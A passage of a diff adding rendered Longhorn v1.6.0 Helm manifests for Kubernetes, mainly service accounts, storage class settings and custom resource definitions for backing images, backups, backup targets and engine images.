longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-ui-service-account + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/serviceaccount.yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: longhorn-support-bundle + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +--- +# Source: longhorn/templates/default-setting.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-default-setting + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +data: + default-setting.yaml: |- + priority-class: longhorn-critical +--- +# Source: longhorn/templates/storageclass.yaml +apiVersion: v1 +kind: ConfigMap +metadata: + name: longhorn-storageclass + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +data: + storageclass.yaml: | + kind: StorageClass + apiVersion: storage.k8s.io/v1 + metadata: + name: longhorn + annotations: + storageclass.kubernetes.io/is-default-class: "true" + provisioner: driver.longhorn.io + allowVolumeExpansion: true + reclaimPolicy: "Delete" + volumeBindingMode: Immediate + parameters: + numberOfReplicas: "1" + staleReplicaTimeout: "30" + fromBackup: "" + fsType: "ext4" + dataLocality: "disabled" +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagedatasources.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageDataSource + listKind: BackingImageDataSourceList + plural: backingimagedatasources + shortNames: + - lhbids + singular: backingimagedatasource + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID of the provisioned backing image file + jsonPath: .spec.uuid + name: UUID + type: string + - description: The current state of the pod used to provision the backing image file from source + jsonPath: .status.currentState + name: State + type: string + - description: The data source type + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size + jsonPath: .status.size + name: Size + type: string + - description: The node the backing image file will be prepared on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the backing image file will be prepared on + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageDataSource is where Longhorn stores backing image data source object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageDataSourceSpec defines the desired state of the Longhorn backing image data source + properties: + checksum: + type: string + diskPath: + type: string + diskUUID: + type: string + fileTransferred: + type: boolean + nodeID: + type: string + parameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + uuid: + type: string + type: object + status: + description: BackingImageDataSourceStatus defines the observed state of the Longhorn backing image data source + properties: + checksum: + type: string + currentState: + type: string + ip: + type: string + message: + type: string + ownerID: + type: string + progress: + type: integer + runningParameters: + additionalProperties: + type: string + nullable: true + type: object + size: + format: int64 + type: integer + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimagemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: BackingImageManager + listKind: BackingImageManagerList + plural: backingimagemanagers + shortNames: + - lhbim + singular: backingimagemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The current state of the manager + jsonPath: .status.currentState + name: State + type: string + - description: The image the manager pod will use + jsonPath: .spec.image + name: Image + type: string + - description: The node the manager is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk the manager is responsible for + jsonPath: .spec.diskUUID + name: DiskUUID + type: string + - description: The disk path the manager is using + jsonPath: .spec.diskPath + name: DiskPath + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImageManager is where Longhorn stores backing image manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageManagerSpec defines the desired state of the Longhorn backing image manager + properties: + backingImages: + additionalProperties: + type: string + type: object + diskPath: + type: string + diskUUID: + type: string + image: + type: string + nodeID: + type: string + type: object + status: + description: BackingImageManagerStatus defines the observed state of the Longhorn backing image manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + backingImageFileMap: + additionalProperties: + properties: + currentChecksum: + type: string + message: + type: string + name: + type: string + progress: + type: integer + senderManagerAddress: + type: string + sendingReference: + type: integer + size: + format: int64 + type: integer + state: + type: string + uuid: + type: string + type: object + nullable: true + type: object + currentState: + type: string + ip: + type: string + ownerID: + type: string + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backingimages.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackingImage + listKind: BackingImageList + plural: backingimages + shortNames: + - lhbi + singular: backingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .spec.image + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The system generated UUID + jsonPath: .status.uuid + name: UUID + type: string + - description: The source of the backing image file data + jsonPath: .spec.sourceType + name: SourceType + type: string + - description: The backing image file size in each disk + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: BackingImage is where Longhorn stores backing image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackingImageSpec defines the desired state of the Longhorn backing image + properties: + checksum: + type: string + disks: + additionalProperties: + type: string + type: object + sourceParameters: + additionalProperties: + type: string + type: object + sourceType: + enum: + - download + - upload + - export-from-volume + - restore + type: string + type: object + status: + description: BackingImageStatus defines the observed state of the Longhorn backing image status + properties: + checksum: + type: string + diskFileStatusMap: + additionalProperties: + properties: + lastStateTransitionTime: + type: string + message: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + diskLastRefAtMap: + additionalProperties: + type: string + nullable: true + type: object + ownerID: + type: string + size: + format: int64 + type: integer + uuid: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: backupbackingimages.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupBackingImage + listKind: BackupBackingImageList + plural: backupbackingimages + shortNames: + - lhbbi + singular: backupbackingimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backing image name + jsonPath: .status.backingImage + name: BackingImage + type: string + - description: The backing image size + jsonPath: .status.size + name: Size + type: string + - description: The backing image backup upload finished time + jsonPath: .status.backupCreatedAt + name: BackupCreatedAt + type: string + - description: The backing image backup state + jsonPath: .status.state + name: State + type: string + - description: The last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupBackingImage is where Longhorn stores backing image backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupBackingImageSpec defines the desired state of the Longhorn backing image backup + properties: + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + type: object + syncRequestedAt: + description: The time to request run sync the remote backing image backup. + format: date-time + nullable: true + type: string + userCreated: + description: Is this CR created by user through API or UI. Required + type: boolean + required: + - userCreated + type: object + status: + description: BackupBackingImageStatus defines the observed state of the Longhorn backing image backup + properties: + backingImage: + description: The backing image name. + type: string + backupCreatedAt: + description: The backing image backup upload finished time. + type: string + checksum: + description: The checksum of the backing image. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the backing image backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of backing image backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backing image backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + managerAddress: + description: The address of the backing image manager that runs backing image backup. + type: string + messages: + additionalProperties: + type: string + description: The error messages when listing or inspecting backing image backup. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this CR. + type: string + progress: + description: The backing image backup progress. + type: integer + size: + description: The backing image size. + format: int64 + type: integer + state: + description: The backing image backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The backing image backup URL. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backups.longhorn.io +spec: + group: longhorn.io + names: + kind: Backup + listKind: BackupList + plural: backups + shortNames: + - lhb + singular: backup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The snapshot name + jsonPath: .status.snapshotName + name: SnapshotName + type: string + - description: The snapshot size + jsonPath: .status.size + name: SnapshotSize + type: string + - description: The snapshot creation time + jsonPath: .status.snapshotCreatedAt + name: SnapshotCreatedAt + type: string + - description: The backup state + jsonPath: .status.state + name: State + type: string + - description: The backup last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Backup is where Longhorn stores backup object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupSpec defines the desired state of the Longhorn backup + properties: + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + type: object + snapshotName: + description: The snapshot name. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupStatus defines the observed state of the Longhorn backup + properties: + backupCreatedAt: + description: The snapshot backup upload finished time. + type: string + compressionMethod: + description: Compression method + type: string + error: + description: The error message when taking the snapshot backup. + type: string + labels: + additionalProperties: + type: string + description: The labels of snapshot backup. + nullable: true + type: object + lastSyncedAt: + description: The last time that the backup was synced with the remote backup target. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error messages when calling longhorn engine on listing or inspecting backups. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup CR. + type: string + progress: + description: The snapshot backup progress. + type: integer + replicaAddress: + description: The address of the replica that runs snapshot backup. + type: string + size: + description: The snapshot size. + type: string + snapshotCreatedAt: + description: The snapshot creation time. + type: string + snapshotName: + description: The snapshot name. + type: string + state: + description: The backup creation state. Can be "", "InProgress", "Completed", "Error", "Unknown". + type: string + url: + description: The snapshot backup URL. + type: string + volumeBackingImageName: + description: The volume's backing image name. + type: string + volumeCreated: + description: The volume creation time. + type: string + volumeName: + description: The volume name. + type: string + volumeSize: + description: The volume size. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backuptargets.longhorn.io +spec: + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: BackupTarget + listKind: BackupTargetList + plural: backuptargets + shortNames: + - lhbt + singular: backuptarget + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup target URL + jsonPath: .spec.backupTargetURL + name: URL + type: string + - description: The backup target credential secret + jsonPath: .spec.credentialSecret + name: Credential + type: string + - description: The backup target poll interval + jsonPath: .spec.pollInterval + name: LastBackupAt + type: string + - description: Indicate whether the backup target is available or not + jsonPath: .status.available + name: Available + type: boolean + - description: The backup target last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupTarget is where Longhorn stores backup target object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupTargetSpec defines the desired state of the Longhorn backup target + properties: + backupTargetURL: + description: The backup target URL. + type: string + credentialSecret: + description: The backup target credential secret. + type: string + pollInterval: + description: The interval that the cluster needs to run sync with the backup target. + type: string + syncRequestedAt: + description: The time to request run sync the remote backup target. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupTargetStatus defines the observed state of the Longhorn backup target + properties: + available: + description: Available indicates if the remote backup target is available or not. + type: boolean + conditions: + description: Records the reason on why the backup target is unavailable. + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + lastSyncedAt: + description: The last time that the controller synced with the remote backup target. + format: date-time + nullable: true + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup target CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: backupvolumes.longhorn.io +spec: + group: longhorn.io + names: + kind: BackupVolume + listKind: BackupVolumeList + plural: backupvolumes + shortNames: + - lhbv + singular: backupvolume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The backup volume creation time + jsonPath: .status.createdAt + name: CreatedAt + type: string + - description: The backup volume last backup name + jsonPath: .status.lastBackupName + name: LastBackupName + type: string + - description: The backup volume last backup time + jsonPath: .status.lastBackupAt + name: LastBackupAt + type: string + - description: The backup volume last synced time + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: BackupVolume is where Longhorn stores backup volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: BackupVolumeSpec defines the desired state of the Longhorn backup volume + properties: + syncRequestedAt: + description: The time to request run sync the remote backup volume. + format: date-time + nullable: true + type: string + type: object + status: + description: BackupVolumeStatus defines the observed state of the Longhorn backup volume + properties: + backingImageChecksum: + description: the backing image checksum. + type: string + backingImageName: + description: The backing image name. + type: string + createdAt: + description: The backup volume creation time. + type: string + dataStored: + description: The backup volume block count. + type: string + labels: + additionalProperties: + type: string + description: The backup volume labels. + nullable: true + type: object + lastBackupAt: + description: The latest volume backup time. + type: string + lastBackupName: + description: The latest volume backup name. + type: string + lastModificationTime: + description: The backup volume config last modification time. + format: date-time + nullable: true + type: string + lastSyncedAt: + description: The last time that the backup volume was synced into the cluster. + format: date-time + nullable: true + type: string + messages: + additionalProperties: + type: string + description: The error messages when call longhorn engine on list or inspect backup volumes. + nullable: true + type: object + ownerID: + description: The node ID on which the controller is responsible to reconcile this backup volume CR. + type: string + size: + description: The backup volume size. + type: string + storageClassName: + description: the storage class name of pv/pvc binding with the volume. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: engineimages.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: EngineImage + listKind: EngineImageList + plural: engineimages + shortNames: + - lhei + singular: engineimage + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Compatibility of the engine image + jsonPath: .status.incompatible + name: Incompatible + type: boolean + - description: State of the engine image + jsonPath: .status.state + name: State + type: string + - description: The Longhorn engine image + jsonPath: .spec.image + name: Image + type: string + - description: Number of resources using the engine image + jsonPath: .status.refCount + name: RefCount + type: integer + - description: The build date of the engine image + jsonPath: .status.buildDate + name: BuildDate + type: date + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: EngineImage is where Longhorn stores engine image object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineImageSpec defines the desired state of the Longhorn engine image + properties: + image: + minLength: 1 + type: string + required: + - image + type: object + status: + description: EngineImageStatus defines the observed state of the Longhorn engine image + properties: + buildDate: + type: string + cliAPIMinVersion: + type: integer + cliAPIVersion: + type: integer + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + 